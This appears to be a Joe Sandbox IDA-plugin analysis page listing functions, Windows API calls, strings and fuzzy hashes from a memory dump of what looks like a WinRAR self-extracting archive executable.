Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Item$_invalid_parameter_noinfo_noreturn$Message$DialogText$ButtonChecked$FileSend$ErrorLast$CloseFindFocusLoadStringView$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleLineMappingParamShellSleepTickTranslateUnmapWindow
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 3303814210-2702805183
Opcode ID: 0e6596488270f79310c24a623b396e3ada833de9f399a29ee3400fe31d1444bd
Instruction ID: 1df7a7ee4a87ecd9425d166de2d071e4689466c3218fefd76de6f762c04acfcb
Opcode Fuzzy Hash: 0e6596488270f79310c24a623b396e3ada833de9f399a29ee3400fe31d1444bd
Instruction Fuzzy Hash: 39D28361A1968297EB20BF26E8D42B9B351FF85780FC04135DB6D467E6EE3CE544C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D80998 Relevance: 65.0, APIs: 26, Strings: 10, Instructions: 1963fileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7F4D81103
IsDlgButtonChecked.USER32 ref: 00007FF7F4D81136
IsDlgButtonChecked.USER32 ref: 00007FF7F4D81165
MoveFileW.KERNEL32 ref: 00007FF7F4D8165B
MoveFileExW.KERNEL32 ref: 00007FF7F4D81679
GetTempPathW.KERNEL32 ref: 00007FF7F4D81759

Part of subcall function 00007FF7F4D61B70: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D61BCB

EndDialog.USER32 ref: 00007FF7F4D81ADA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D829F3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D829FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A17
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A1D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A23
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A29
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A2F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A35
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A3B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A47
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A4D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A53
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A59
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A5F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A65
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D82A6B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D82A77
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D82A83

Strings

lnk, xrefs: 00007FF7F4D81EDA, 00007FF7F4D81EE9
ProgramFilesDir, xrefs: 00007FF7F4D81000
.tmp, xrefs: 00007FF7F4D81595
@set:user, xrefs: 00007FF7F4D818A6, 00007FF7F4D818B5
.lnk, xrefs: 00007FF7F4D81F16, 00007FF7F4D81F25
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF7F4D81011
<br>, xrefs: 00007FF7F4D811EA, 00007FF7F4D811F9
MIN, xrefs: 00007FF7F4D825F5, 00007FF7F4D82604
HIDE, xrefs: 00007FF7F4D824F5, 00007FF7F4D82504
MAX, xrefs: 00007FF7F4D82592, 00007FF7F4D825A1

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$ButtonCheckedFileMove$DialogItemPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 1830998149-3916287355
Opcode ID: 807802d1ee62223aa11093229eb9230b514b44183e94545dd0aead310ba56b57
Instruction ID: e98a11ef90e88e2d84d4626040720f3e346cece564047067bd4f4901f8deaa68
Opcode Fuzzy Hash: 807802d1ee62223aa11093229eb9230b514b44183e94545dd0aead310ba56b57
Instruction Fuzzy Hash: 4F13A122B04B829AEB10AF66D8C02FC77A5FB41798F900535DB2D57AD9DF38D584C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D83FCC Relevance: 47.8, APIs: 22, Strings: 5, Instructions: 539
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F4D6DC08: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DE98
Part of subcall function 00007FF7F4D6DC08: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DEB0
Part of subcall function 00007FF7F4D6DC08: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DEDD

Part of subcall function 00007FF7F4D67A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F4D67A3E
Part of subcall function 00007FF7F4D67A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F4D67A78

Part of subcall function 00007FF7F4D7D068: OleInitialize.OLE32 ref: 00007FF7F4D7D082
Part of subcall function 00007FF7F4D7D068: SHGetMalloc.SHELL32 ref: 00007FF7F4D7D0D0

GetCommandLineW.KERNEL32 ref: 00007FF7F4D841E6
OpenFileMappingW.KERNEL32 ref: 00007FF7F4D8427F
MapViewOfFile.KERNEL32 ref: 00007FF7F4D842A8
UnmapViewOfFile.KERNEL32 ref: 00007FF7F4D842BE
MapViewOfFile.KERNEL32 ref: 00007FF7F4D842DB
UnmapViewOfFile.KERNEL32 ref: 00007FF7F4D84342
CloseHandle.KERNEL32 ref: 00007FF7F4D8434B
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7F4D84425
GetLocalTime.KERNEL32 ref: 00007FF7F4D84430
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D8448B
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7F4D8449E
GetModuleHandleW.KERNEL32 ref: 00007FF7F4D844A6
LoadIconW.USER32 ref: 00007FF7F4D844C5
DialogBoxParamW.USER32 ref: 00007FF7F4D8452E
Sleep.KERNEL32 ref: 00007FF7F4D8455E
DeleteObject.GDI32 ref: 00007FF7F4D84585
DeleteObject.GDI32 ref: 00007FF7F4D84597
CloseHandle.KERNEL32 ref: 00007FF7F4D845DF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D8464F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D84655
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D8465B

Part of subcall function 00007FF7F4D837D0: SetEnvironmentVariableW.KERNEL32 ref: 00007FF7F4D83807
Part of subcall function 00007FF7F4D837D0: SetEnvironmentVariableW.KERNELBASE ref: 00007FF7F4D83880

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D84924

Strings

sfxstime, xrefs: 00007FF7F4D84497
STARTDLG, xrefs: 00007FF7F4D8451D
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF7F4D8447A
sfxname, xrefs: 00007FF7F4D84413
winrarsfxmappingfile.tmp, xrefs: 00007FF7F4D84271

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3767324925-3710569615
Opcode ID: 8342291cec4698ce4c2f469f806b384fae520f8f901e271fb65461c60124e97c
Instruction ID: 4384dc80ac407c08fab43e31edc0862fc735762a9f3e532f5bed864d269ebcd6
Opcode Fuzzy Hash: 8342291cec4698ce4c2f469f806b384fae520f8f901e271fb65461c60124e97c
Instruction Fuzzy Hash: 2D428361A19A8682EB14EF26E8D42BDB365FF45B84FC04235DB6D46AD5EF3CD140C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6A8AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D6A904

Part of subcall function 00007FF7F4D70644: WideCharToMultiByte.KERNEL32 ref: 00007FF7F4D70675

SetDlgItemTextW.USER32 ref: 00007FF7F4D6A973
GetWindowRect.USER32 ref: 00007FF7F4D6A9AD
GetClientRect.USER32 ref: 00007FF7F4D6A9BB
GetWindowLongPtrW.USER32 ref: 00007FF7F4D6AA6C
GetWindowRect.USER32 ref: 00007FF7F4D6AAB2
SetDlgItemTextW.USER32 ref: 00007FF7F4D6AAEC
GetSystemMetrics.USER32 ref: 00007FF7F4D6AAF7
GetWindow.USER32 ref: 00007FF7F4D6AB08
GetWindowRect.USER32 ref: 00007FF7F4D6AB46
GetWindow.USER32 ref: 00007FF7F4D6AC08

Strings

CAPTION, xrefs: 00007FF7F4D6AACF
$%s:, xrefs: 00007FF7F4D6A8EF

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Window$Rect$ItemText$ByteCharClientLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 1936833115-404845831
Opcode ID: 011115dc4585d9970c797897bd28b3e1a41ac96c674e0d9f4ec2e8e75e10504b
Instruction ID: 91a6aec3b3f3b6e5176dcb0bdcadc7504d9db68c9493f8e146a8a047409d35a6
Opcode Fuzzy Hash: 011115dc4585d9970c797897bd28b3e1a41ac96c674e0d9f4ec2e8e75e10504b
Instruction Fuzzy Hash: 3091D532A1864187D718EF2AE8806A9F7A1F785784F845035EF9947BD8DE3CE8058B90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7C220 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C239
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C255
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C26F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C281
GlobalAlloc.KERNELBASE ref: 00007FF7F4D7C2A2
GlobalLock.KERNEL32 ref: 00007FF7F4D7C2B7
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7F4D7C365
GlobalUnlock.KERNEL32 ref: 00007FF7F4D7C388
GlobalFree.KERNEL32 ref: 00007FF7F4D7C391

Strings

PNG, xrefs: 00007FF7F4D7C22B

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: 75966c197c38ca84d354d4050cb608c385baf803c2fd171f6e68603f3e230818
Instruction ID: a66cdd1434975386c72eca226be9f22cc3be3f2234a66c8347ea1dc9195db73b
Opcode Fuzzy Hash: 75966c197c38ca84d354d4050cb608c385baf803c2fd171f6e68603f3e230818
Instruction Fuzzy Hash: 9041FA21A19A0687EF24AF17D894379B3A0BF84FD5F844435CB2D877E4EE6CE44483A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6647C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF7F4D664CB
FindFirstFileW.KERNELBASE ref: 00007FF7F4D6651E
GetLastError.KERNEL32 ref: 00007FF7F4D6656F
FindNextFileW.KERNEL32 ref: 00007FF7F4D66597
GetLastError.KERNEL32 ref: 00007FF7F4D665A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D666CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D666D5

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 2505ee538facd5d676127887e6a3cdef276b9a3b5015208b56b412facb3bef77
Instruction ID: 8aca715991f2ecc99cc64393519dc91944b347a99dc079e77b2182ac311a5b11
Opcode Fuzzy Hash: 2505ee538facd5d676127887e6a3cdef276b9a3b5015208b56b412facb3bef77
Instruction Fuzzy Hash: DD619F72A09A4692EB10AF16E48526DB361FB95BA4F804331EBBD43BD9DF3CD444CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D75664 Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF7F4D759AC

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: 628bd18d13ee1dd4a8e7c04dfde5140cfc875f22c02a5843f1e153c5d6109dfb
Instruction ID: a9c91fbf33ec8b1691a20fcf3e52423993dda3133d609ac094d260ade4f2043d
Opcode Fuzzy Hash: 628bd18d13ee1dd4a8e7c04dfde5140cfc875f22c02a5843f1e153c5d6109dfb
Instruction Fuzzy Hash: DEE1D433A286958BE724DF2AD4902ADB7A1F788748F544139DB6953FC8DB3DE840CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7625C Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544f42cc12b939a1891eee1881038e0693ac490cd5fb5653c4ab6d0a3e854567
Instruction ID: 389cc0453334962765198dd26c1783f48dc5dbb9af030c323e63205ec01fbdd0
Opcode Fuzzy Hash: 544f42cc12b939a1891eee1881038e0693ac490cd5fb5653c4ab6d0a3e854567
Instruction Fuzzy Hash: 92228E62E2C55283EF24AF16D4D4279F690BF407A8F980136DB7D467D5EE2DE80187E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D85350 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DloadAcquireSectionWriteAccess.DELAYIMP ref: 00007FF7F4D85375

Part of subcall function 00007FF7F4D84FA8: DloadProtectSection.DELAYIMP ref: 00007FF7F4D85019

RaiseException.KERNEL32 ref: 00007FF7F4D853F7
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7F4D853E3

Part of subcall function 00007FF7F4D852B8: DloadProtectSection.DELAYIMP ref: 00007FF7F4D85317

LoadLibraryExA.KERNELBASE ref: 00007FF7F4D85496
GetLastError.KERNEL32 ref: 00007FF7F4D854A4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7F4D854D6
RaiseException.KERNEL32 ref: 00007FF7F4D854EA

Strings

H, xrefs: 00007FF7F4D853C4

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: DloadSection$AccessWrite$ExceptionProtectRaiseRelease$AcquireErrorLastLibraryLoad
String ID: H
API String ID: 282135826-2852464175
Opcode ID: 813d2af946dbcc1b467ff82581fe860ff59ffe329b4d6e3d6bcaf1691afa70ed
Instruction ID: 83f6009359434ee364a837ba1aedc62c2a1721158b0d03ab5bfcb199cb71bedb
Opcode Fuzzy Hash: 813d2af946dbcc1b467ff82581fe860ff59ffe329b4d6e3d6bcaf1691afa70ed
Instruction Fuzzy Hash: 07914D32A05B598BFB00EF66D8946BCB3A1BB08B98B854435DF1D17B94EF38E445C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D69CDC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D69254: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D69389

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D6A375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6A82F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6A835

Part of subcall function 00007FF7F4D702F8: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7F4D69CBA), ref: 00007FF7F4D70325

Strings

RTL, xrefs: 00007FF7F4D6A32E
,, xrefs: 00007FF7F4D6A3AA
DIALOG, xrefs: 00007FF7F4D6A1CD
*messages***, xrefs: 00007FF7F4D69FC6
$%s:, xrefs: 00007FF7F4D6A350
@%s:, xrefs: 00007FF7F4D6A357
DIRECTION, xrefs: 00007FF7F4D6A1E5
STRINGS, xrefs: 00007FF7F4D6A1C1
, xrefs: 00007FF7F4D6A1F9
*messages***, xrefs: 00007FF7F4D6A004
MENU, xrefs: 00007FF7F4D6A1D9

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 0119fbbe3327ba141a7f55d4cd9843eb37e83c3fd0627bc7f4021d3c2ce17c58
Instruction ID: 594e1fedd3b237b922d306251ac2c633a78c324c1a6b8b35213b93328f48629f
Opcode Fuzzy Hash: 0119fbbe3327ba141a7f55d4cd9843eb37e83c3fd0627bc7f4021d3c2ce17c58
Instruction Fuzzy Hash: 0B629D22A19A82E6EB14EF26D4881BDB361FB45788FC05132DB6D477D5EF38E544C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D82FF0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF7F4D83257
ShowWindow.USER32 ref: 00007FF7F4D83296
GetExitCodeProcess.KERNEL32 ref: 00007FF7F4D832CD
CloseHandle.KERNEL32 ref: 00007FF7F4D832F7
ShowWindow.USER32 ref: 00007FF7F4D8334F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D8340B

Strings

Install, xrefs: 00007FF7F4D83194
p, xrefs: 00007FF7F4D83039
.inf, xrefs: 00007FF7F4D83185
.exe, xrefs: 00007FF7F4D83302

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 1054546013-3607691742
Opcode ID: 429189c49b1a022ab02d4fccaab96c0e9f1cb398093bee8efb5804c0d3894d76
Instruction ID: f8d581690a200f75a802398f44e477b063952fe4b8aa155b50aaedd299c8c596
Opcode Fuzzy Hash: 429189c49b1a022ab02d4fccaab96c0e9f1cb398093bee8efb5804c0d3894d76
Instruction Fuzzy Hash: 40C16E22B18A0296EB14EF26D99427DB3A1BB85B80F884035DB6D477E5DF3DE45183A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D82BB4 Relevance: 16.6, APIs: 11, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F4D7E92C: PeekMessageW.USER32 ref: 00007FF7F4D7E942
